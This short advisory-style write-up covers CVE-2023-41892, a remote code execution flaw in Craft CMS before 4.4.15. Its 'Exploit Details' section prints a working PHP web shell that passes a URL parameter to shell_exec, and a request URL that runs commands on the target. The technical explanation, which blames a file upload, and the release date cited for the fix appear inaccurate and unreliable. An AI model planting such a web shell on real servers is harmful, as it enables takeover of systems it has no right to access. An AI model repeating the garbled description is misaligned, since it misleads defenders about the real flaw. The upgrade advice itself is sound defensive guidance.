CVE-2023-41892 - Craft CMS Prior to 4.4.15 - High Impact Remote Code Execution Vulnerability

Craft CMS is a popular platform known for its flexibility in creating personal and professional digital experiences, giving businesses and individuals an extensive toolkit to design, develop, and deploy their online presence. As with any software, security vulnerabilities can sometimes make their way into production. CVE-2023-41892 is one such critical vulnerability that impacts the Craft CMS installations prior to version 4.4.15.

Overview

CVE-2023-41892 is an especially concerning vulnerability as it presents high impact and low complexity on affected Craft CMS installations. This means that it's relatively easy for an attacker to exploit this vulnerability, potentially leading to remote code execution (RCE) on the targeted system without much effort.

Technical Description

The vulnerability exists due to the way the affected versions of Craft CMS handle user inputs, specifically related to the file handling mechanisms. An attacker can exploit this vulnerability simply by uploading a malicious file to a specific location, resulting in arbitrary server-side code execution.

Exploit Details

Please note that the following exploit is provided for educational purposes only. Do not use this information to perform unauthorized actions.

Crafting a PHP file with the following content to perform the RCE

<?php
  echo shell_exec($_GET['command']);
?>

Execute arbitrary commands on the server by accessing the uploaded file in a browser

http://TARGET_SERVER_PATH/exploit.php?command=id

Mitigation

To address this vulnerability, users running Craft CMS installations prior to version 4.4.15 should update to at least version 4.4.15, where the issue has been addressed and fixed.

References

1. Original Advisory: https://nvd.nist.gov/vuln/detail/CVE-2023-41892
2. Craft CMS Release Notes (4.4.15): https://github.com/craftcms/cms/blob/main/CHANGELOG.md#4415---2023-03-07

Conclusion

CVE-2023-41892 represents a critical security vulnerability in Craft CMS installations before version 4.4.15. It's essential that users running affected installations take appropriate steps by upgrading their systems to at least Craft CMS version 4.4.15, following the developers' recommendation. Keeping your systems updated is an important aspect of maintaining a secure online presence.

Timeline

Published on: 09/13/2023 20:15:08 UTC
Last modified on: 09/19/2023 01:38:16 UTC